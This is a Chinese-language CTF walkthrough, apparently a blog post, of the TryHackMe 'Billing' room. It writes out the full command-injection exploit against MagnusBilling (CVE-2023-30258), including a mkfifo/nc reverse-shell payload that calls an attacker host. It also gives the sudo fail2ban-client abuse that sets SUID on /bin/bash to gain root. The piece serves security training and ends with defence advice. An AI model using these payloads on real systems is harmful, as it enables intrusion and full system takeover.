THM Billing

1. 信息收集

(1) Nmap 扫描
 bash
 nmap -T4 -sC -sV -p- 10.10.189.216

输出关键信息

 PORT     STATE SERVICE  VERSION
 22/tcp   open ssh      OpenSSH 8.4p1 Debian 5+deb11u3
 80/tcp   open http     Apache 2.4.56 (Debian)  # MagnusBilling 应用
 3306/tcp open mysql    MariaDB (未授权访问受限)
 5038/tcp open asterisk Asterisk Call Manager 2.10.6

分析

  • 80 端口:运行 MagnusBilling,可能存在已知漏洞。

  • 5038 端口:Asterisk 服务,可能辅助提权。


2. Web 渗透(CVE-2023-30258)

(1) 访问 Web 应用
  • 浏览器访问 http://10.10.189.216,自动跳转到 http://10.10.189.216/mbilling/

  • 查看页面源码,确认 MagnusBilling 版本为 7.x.x(如 README.md 文件)。

(2) 验证命令注入漏洞
 bash
 # 测试 sleep 命令(响应时间应接近 5 秒)
 time curl -s "http://10.10.189.216/mbilling/lib/icepay/icepay.php?democ=;sleep+5;"

输出

 real    0m5.189s  # 确认漏洞存在
(3) 生成反向 Shell Payload
 bash
 # 在攻击机开启监听(443 端口)
 nc -lvnp 443
 ​
 # 注入反向 Shell 命令
 curl -s "http://10.10.189.216/mbilling/lib/icepay/icepay.php" \
 --get --data-urlencode "democ=;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f|sh+-i+2>%261|nc+10.10.158.208+443+>/tmp/f;"

监听结果

 connect to [10.10.158.208] from (UNKNOWN) [10.10.189.216] 41006
 sh: 0: can't access tty; job control turned off
 $   # 获取基础 Shell
(4) 升级交互式 Shell
 bash
 # 在目标机执行
 $ python3 -c 'import pty;pty.spawn("/bin/bash")'
 $ export TERM=xterm
 ​
 # 在攻击机按 Ctrl+Z 挂起会话,然后执行
 stty raw -echo; fg

升级后

 asterisk@Billing:/var/www/html/mbilling/lib/icepay$   # 完整交互式 Shell

3. 用户权限提升

(1) 读取用户 Flag
 bash
 cat /home/magnus/user.txt

输出

 thm{5a0c4d7f3b...}  # 用户 Flag
(2) 检查 sudo 权限
 bash
 sudo -l

输出

 User asterisk may run the following commands on Billing:
     (ALL) NOPASSWD: /usr/bin/fail2ban-client  # 关键权限

4. Root 权限提权(Fail2ban 滥用)

(1) 修改 Fail2ban Actionban 命令
 bash
 # 篡改 actionban 命令,设置 /bin/bash 的 SUID 位
 sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'chmod +s /bin/bash'
(2) 触发封禁以执行命令
 bash
 # 封禁任意 IP(如 1.2.3.4)
 sudo /usr/bin/fail2ban-client set asterisk-iptables banip 1.2.3.4
(3) 验证 SUID 权限
 bash
 ls -l /bin/bash

输出

 -rwsr-sr-x 1 root root 1234376 Mar 27  2022 /bin/bash  # SUID 已生效
(4) 获取 Root Shell
 bash
 /bin/bash -p   # 使用 -p 保留 root 权限
 bash-5.1# id
 uid=1001(asterisk) gid=1001(asterisk) euid=0(root) egid=0(root) groups=0(root),1001(asterisk)
(5) 读取 Root Flag
 bash
 cat /root/root.txt

输出

 thm{8b3d12f7a1...}  # Root Flag

5. 清理痕迹

(1) 移除 /bin/bash 的 SUID 位
 bash
 chmod -s /bin/bash
(2) 还原 Fail2ban 配置
 bash
 # 恢复原始 actionban 命令
 sudo /usr/bin/fail2ban-client set asterisk-iptables action iptables-allports-ASTERISK actionban 'iptables -I f2b-ASTERISK 1 -s <ip> -j DROP'
 ​
 # 解封测试 IP
 sudo /usr/bin/fail2ban-client set asterisk-iptables unbanip 1.2.3.4
 ​
 # 重启 Fail2ban
 sudo systemctl restart fail2ban

关键步骤总结

  1. 漏洞利用:通过 CVE-2023-30258 注入反向 Shell。

  2. 权限升级:利用 sudo /usr/bin/fail2ban-client 修改配置,设置 SUID 提权。

  3. 防御绕过:使用高权限服务(Fail2ban)执行恶意命令。


防御建议

  1. 修补漏洞:升级 MagnusBilling 至最新版本。

  2. 限制 Sudo 权限:禁止普通用户操作安全工具。

  3. 监控 SUID/SGID 文件:

  1.  find / -perm /4000 -ls  # 定期检查异常权限文件
  2. Fail2ban 加固:配置文件和动作脚本设为只读。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值